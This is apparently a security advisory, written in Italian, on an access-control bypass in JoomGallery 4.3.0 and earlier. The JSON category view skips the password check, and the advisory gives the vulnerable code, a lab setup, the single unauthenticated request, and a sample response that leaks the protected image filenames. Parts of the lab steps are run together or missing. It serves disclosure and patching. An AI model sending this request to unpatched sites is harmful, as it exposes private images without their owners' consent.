
Bypass delle Categorie Protette da Password tramite Formato JSON in JoomGallery
JoomGallery ≤ 4.3.0-stable — Un Attaccante Non Autenticato Elude il Gate Password per Scaricare Immagini Protette
Nella vista JSON delle categorie di JoomGallery esiste un bypass del controllo degli accessi non autenticato. Quando una categoria della galleria è protetta da password, la vista HTML applica correttamente il gate password — ma la vista JSON (format=json) salta del tutto questo controllo.
Un attaccante remoto senza credenziali può recuperare il titolo della categoria, la descrizione e i nomi file casuali di tutte le immagini protette, per poi scaricare direttamente quelle immagini. La funzione di protezione con password viene aggirata con una singola richiesta HTTP.
Il bypass è limitato alle categorie il cui livello di accesso ACL di Joomla è impostato su Public (access=1). Le categorie riservate agli accessi Registered o Special sono ancora bloccate a livello ACL in JsonView.php:69.
| COMPONENTE | VULNERABILE | TESTATO SU | CORRETTO |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
Tipo: Controllo degli Accessi Improprio (CWE-284)
Autenticazione richiesta: Nessuna — non autenticato, singola richiesta HTTP
File: site/com_joomgallery/src/View/Category/JsonView.php, righe 76–96
JoomGallery implementa la protezione con password per le categorie tramite un flag pw_protected. Questo controllo è presente in HtmlView.php ma completamente assente in JsonView.php:
HTMLVIEW.PHP — CORRETTO (guardia presente)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — VULNERABILE (nessuna guardia)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
Il parametro format=json di Joomla instrada lo stesso URL verso una classe View separata. Ogni View deve applicare i controlli degli accessi in modo indipendente — il framework non li propaga automaticamente. Lo sviluppatore ha aggiunto la guardia pw_protected a HtmlView ma l'ha omessa in JsonView.
La protezione con password di JoomGallery si basa sul mantenere segreti i nomi dei file delle immagini — i file sono salvati come asset statici in /images/joomgallery/originals/ e serviti direttamente da Apache senza alcuna autenticazione lato server. I nomi dei file sono casuali (es., secret-image-1_20260803_1951053711.jpg) e vengono rivelati solo dopo aver superato il controllo password tramite il layer PHP/Joomla. Il bypass JSON rompe questo modello rivelando i nomi dei file a richiedenti non autenticati, completando la catena di attacco fino al recupero integrale delle immagini.
Setup di laboratorio:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
Risultato: Modulo password mostrato. Nessun contenuto della categoria visibile.

GET /index.php/gallery/categories/3-secret-gallery
Risultato: accesso diretto alle immagini bloccato nel percorso Alias (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
Risposta (HTTP 200, nessuna autenticazione):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true conferma che la password è impostata. Nonostante ciò, la risposta completa, incluso il nome file casuale, viene restituita a un chiamante non autenticato.

Usando il nome file ottenuto al passaggio 3
Risultato: HTTP 200 — il file immagine viene restituito direttamente da Apache. Nessuna autenticazione richiesta.

Qualsiasi categoria della galleria che l'amministratore ha protetto con una password è completamente compromessa. L'attaccante richiede solo l'ID numerico della categoria, che è sequenziale e banalmente enumerabile.